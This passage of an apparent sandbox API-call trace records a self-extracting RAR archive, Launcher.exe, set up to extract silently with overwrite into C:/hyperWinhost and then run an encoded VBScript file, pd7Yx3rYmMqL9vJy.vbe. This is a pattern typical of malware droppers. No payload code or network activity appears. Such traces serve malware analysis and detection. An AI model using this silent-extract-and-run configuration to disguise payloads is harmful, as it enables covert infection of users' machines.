dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0038.172] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x35fb7c, nSize=0x1000 | out: lpDst="U") returned 0x2 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0038.173] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0038.173] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0038.173] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0038.173] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0038.173] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0038.173] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0038.173] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0038.173] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0038.173] SendMessageW (hWnd=0x302a6, Msg=0x111, wParam=0x1, lParam=0x0) returned 0x0 [0038.173] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0038.174] GetProcAddress (hModule=0x77000000, lpProcName="GetDlgItemTextW") returned 0x7703bc18 [0038.174] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x36b998 | out: lpflOldProtect=0x36b998*=0x4) returned 1 [0038.174] GetDlgItemTextW (in: hDlg=0x302a6, nIDDlgItem=102, lpString=0x37b560, cchMax=2048 | out: lpString="C:/hyperWinhost/") returned 0x10 [0038.174] GetDlgItem (hDlg=0x302a6, nIDDlgItem=104) returned 0x2031a [0038.174] SendMessageW (hWnd=0x2031a, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x0 [0038.174] SendMessageW (hWnd=0x2031a, Msg=0xc2, wParam=0x0, lParam=0x8a35b4) returned 0x0 [0038.174] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0038.175] GetProcAddress (hModule=0x77000000, lpProcName="SetFocus") returned 0x77022175 [0038.175] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x36b9a4 | out: lpflOldProtect=0x36b9a4*=0x4) returned 1 [0038.175] SetFocus (hWnd=0x2031a) returned 0x0 [0038.189] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0038.190] GetProcAddress (hModule=0x77000000, lpProcName="LoadStringW") returned 0x77018eb9 [0038.190] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x36b974 | out: lpflOldProtect=0x36b974*=0x4) returned 1 [0038.190] LoadStringW (in: hInstance=0x870000, uID=0xb9, lpBuffer=0x8b1798, cchBufferMax=1024 | out: lpBuffer="Extracting files to %s folder") returned 0x1d [0038.190] GetLastError () returned 0x0 [0038.190] SetLastError (dwErrCode=0x0) [0038.191] PeekMessageW (in: lpMsg=0x36b978, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x36b978) returned 0 [0038.191] GetDlgItem (hDlg=0x302a6, nIDDlgItem=104) returned 0x2031a [0038.191] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0038.191] GetProcAddress (hModule=0x77000000, lpProcName="ShowWindow") returned 0x77020dfb [0038.191] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x36b928 | out: lpflOldProtect=0x36b928*=0x4) returned 1 [0038.191] ShowWindow (hWnd=0x2031a, nCmdShow=5) returned 1 [0038.191] SendMessageW (hWnd=0x2031a, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x0 [0038.191] SendMessageW (hWnd=0x2031a, Msg=0xc2, wParam=0x0, lParam=0x8a35b4) returned 0x0 [0038.192] SendMessageW (hWnd=0x2031a, Msg=0xb1, wParam=0x5f5e100, lParam=0x5f5e100) returned 0x0 [0038.192] SendMessageW (hWnd=0x2031a, Msg=0x43a, wParam=0x0, lParam=0x36b9ac) returned 0xf800003f [0038.192] SendMessageW (hWnd=0x2031a, Msg=0x444, wParam=0x1, lParam=0x36b9ac) returned 0x1 [0038.192] SendMessageW (hWnd=0x2031a, Msg=0xc2, wParam=0x0, lParam=0x379438) returned 0x2b [0038.199] SendMessageW (hWnd=0x2031a, Msg=0xb1, wParam=0x5f5e100, lParam=0x5f5e100) returned 0x2b [0038.200] SendMessageW (hWnd=0x2031a, Msg=0xc2, wParam=0x0, lParam=0x8a431c) returned 0x1 [0038.200] CreateDirectoryW (lpPathName="C:/hyperWinhost" (normalized: "c:\\hyperwinhost"), lpSecurityAttributes=0x0) returned 1 [0038.202] SetFileAttributesW (lpFileName="C:/hyperWinhost", dwFileAttributes=0x0) returned 1 [0038.202] SetCurrentDirectoryW (lpPathName="C:/hyperWinhost/" (normalized: "c:\\hyperwinhost")) returned 1 [0038.202] GetTickCount () returned 0x175ff6b [0038.202] GetLastError () returned 0x6 [0038.202] SetLastError (dwErrCode=0x6) [0038.202] CreateFileW (lpFileName="__tmp_rar_sfx_access_check_24510315" (normalized: "c:\\hyperwinhost\\__tmp_rar_sfx_access_check_24510315"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c [0038.203] CloseHandle (hObject=0x1c) returned 1 [0038.204] DeleteFileW (lpFileName="__tmp_rar_sfx_access_check_24510315" (normalized: "c:\\hyperwinhost\\__tmp_rar_sfx_access_check_24510315")) returned 1 [0038.204] GetDlgItem (hDlg=0x302a6, nIDDlgItem=103) returned 0x20328 [0038.204] ShowWindow (hWnd=0x20328, nCmdShow=0) returned 1 [0038.204] GetDlgItem (hDlg=0x302a6, nIDDlgItem=102) returned 0x5005c [0038.204] ShowWindow (hWnd=0x5005c, nCmdShow=0) returned 1 [0038.204] LoadStringW (in: hInstance=0x870000, uID=0xe6, lpBuffer=0x8b1f98, cchBufferMax=1024 | out: lpBuffer="Pause") returned 0x5 [0038.204] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0038.205] GetProcAddress (hModule=0x77000000, lpProcName="SetDlgItemTextW") returned 0x7703cfa0 [0038.205] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x36b99c | out: lpflOldProtect=0x36b99c*=0x4) returned 1 [0038.205] SetDlgItemTextW (hDlg=0x302a6, nIDDlgItem=1, lpString="Pause") returned 1 [0038.205] GetDlgItem (hDlg=0x302a6, nIDDlgItem=105) returned 0x2031c [0038.205] ShowWindow (hWnd=0x2031c, nCmdShow=9) returned 0 [0038.205] SetDlgItemTextW (hDlg=0x302a6, nIDDlgItem=101, lpString="") returned 1 [0038.206] GetDlgItem (hDlg=0x302a6, nIDDlgItem=101) returned 0x5005e [0038.206] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0038.206] GetProcAddress (hModule=0x77000000, lpProcName="GetWindowLongW") returned 0x77016ffe [0038.206] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x36b9a0 | out: lpflOldProtect=0x36b9a0*=0x4) returned 1 [0038.206] GetWindowLongW (hWnd=0x5005e, nIndex=-16) returned 1342341120 [0038.206] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0038.207] GetProcAddress (hModule=0x77000000, lpProcName="SetWindowLongW") returned 0x77018332 [0038.207] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x36b99c | out: lpflOldProtect=0x36b99c*=0x4) returned 1 [0038.207] SetWindowLongW (hWnd=0x5005e, nIndex=-16, dwNewLong=1342341248) returned 1342341120 [0038.209] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x34dc8c, nSize=0x1000 | out: lpDst="1") returned 0x2 [0038.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0038.209] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x34dc80, nSize=0x1000 | out: lpDst="1") returned 0x2 [0038.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0038.210] ExpandEnvironmentStringsW (in: lpSrc="\"C:/hyperWinhost/\"", lpDst=0x34dc80, nSize=0x1000 | out: lpDst="\"C:/hyperWinhost/\"") returned 0x13 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0038.210] ExpandEnvironmentStringsW (in: lpSrc="pd7Yx3rYmMqL9vJy.vbe", lpDst=0x34dc80, nSize=0x1000 | out: lpDst="pd7Yx3rYmMqL9vJy.vbe") returned 0x15 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0038.210] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0038.211] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x34dc80, nSize=0x1000 | out: lpDst="U") returned 0x2 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0038.211] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x34dc8c, nSize=0x1000 | out: lpDst="1") returned 0x2 [0038.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0038.212] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x34dc80, nSize=0x1000 | out: lpDst="1") returned 0x2 [0038.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0038.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0038.212] ExpandEnvironmentStringsW (in: lpSrc="\"C:/hyperWinhost/\"", lpDst=0x34dc80, nSize=0x1000 | out: lpDst="\"C:/hyperWinhost/\"") returned 0x13 [0038.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0038.212] ExpandEnvironmentStringsW (in: lpSrc="pd7Yx3rYmMqL9vJy.vbe", lpDst=0x34dc80, nSize=0x1000 | out: lpDst="pd7Yx3rYmMqL9vJy.vbe") returned 0x15 [0038.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0038.213] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x34dc80, nSize=0x1000 | out: lpDst="U") returned 0x2 [0038.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.214] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0038.214] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0038.214] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.214] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0038.214] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0038.214] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0038.214] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0038.214] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0038.214] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0038.214] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0038.214] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0038.214] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0038.214] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x40) returned 0x5a7b10 [0038.214] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x50) returned 0x5c3f10 [0038.214] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10c0) returned 0x5c4348 [0038.214] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10c0) returned 0x5c5410 [0038.214] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xe6e0) returned 0x5c64d8 [0038.214] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8003) returned 0x5d4bc0 [0038.214] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8003) returned 0x5dcbd0 [0038.214] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x338) returned 0x5e4be0 [0038.214] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=64, lpName=0x0) returned 0x1c [0038.215] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x148 [0038.215] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Launcher.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\launcher.exe"), lpFindFileData=0x367618 | out: lpFindFileData=0x367618*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28283980, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x28c0d000, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x222b5c00, ftLastWriteTime.dwHighDateTime=0x1d9eafe, nFileSizeHigh=0x0, nFileSizeLow=0x1176ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Launcher.exe", cAlternateFileName="")) returned 0x5c3f68 [0038.215] FindClose (in: hFindFile=0x5c3f68 | out: hFindFile=0x5c3f68) returned 1 [0038.215] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10c0) returned 0x5e4f20 [0038.215] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10c0) returned 0x5e5fe8 [0038.215] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Launcher.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\launcher.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x14c [0038.215] ReadFile (in: hFile=0x14c, lpBuffer=0x360d24, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x35ea9c, lpOverlapped=0x0 | out: lpBuffer=0x360d24*, lpNumberOfBytesRead=0x35ea9c*=0x7, lpOverlapped=0x0) returned 1 [0038.216] 